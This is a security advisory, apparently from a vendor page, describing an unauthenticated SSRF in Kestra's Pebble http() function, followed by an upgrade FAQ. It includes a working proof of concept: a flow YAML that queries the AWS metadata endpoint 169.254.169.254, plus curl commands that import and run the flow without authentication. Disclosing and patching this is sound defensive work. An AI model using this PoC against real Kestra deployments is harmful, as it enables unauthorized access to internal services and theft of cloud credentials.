Summary
Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata
The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.
Details
The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):
- No URL validation: User input is passed directly to
URI.create()with no checks for private IPs, internal hosts, or restricted schemes - No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
- No scheme restriction:
file://,gopher://schemes are not blocked - No authentication required:
TenantValidationFilter.javaonly checks tenant == "main", no authentication - Unconditional registration:
HttpFunctionis registered without any feature flags inExtension.java:180
PoC
Prerequisites:
docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30
Step 1: Create malicious Flow YAML
cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
- id: exfiltrate
type: io.kestra.plugin.core.log.Log
message: |
{{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML
Step 2: Import without authentication
curl -X POST http://localhost:8080/api/v1/main/flows/import \
-F "fileUpload=@/tmp/ssrf_poc.yaml"
Step 3: Execute the flow
curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata
Step 4: Verify, the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)
Impact
- CVSS 3.1: 8.6 (HIGH), AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- CWE: CWE-918 (Server-Side Request Forgery)
- Affected: All Kestra OSS versions (default deployment)
- Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-73247 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-73247? CVE-2026-73247 is a high-severity server-side request forgery (SSRF) vulnerability in io.kestra:core (maven), affecting versions <= 1.3.31. It is fixed in 2.0.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-73247? CVE-2026-73247 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-73247?
io.kestra:core(maven) (versions <= 1.3.31)io.kestra:kestra-core(maven) (versions < 2.0.0)
- Is there a fix for CVE-2026-73247? Yes. CVE-2026-73247 is fixed in 2.0.0. Upgrade to this version or later.
- Is CVE-2026-73247 exploitable, and should I be worried? Whether CVE-2026-73247 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-73247 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-73247? Upgrade
io.kestra:kestra-coreto 2.0.0 or later.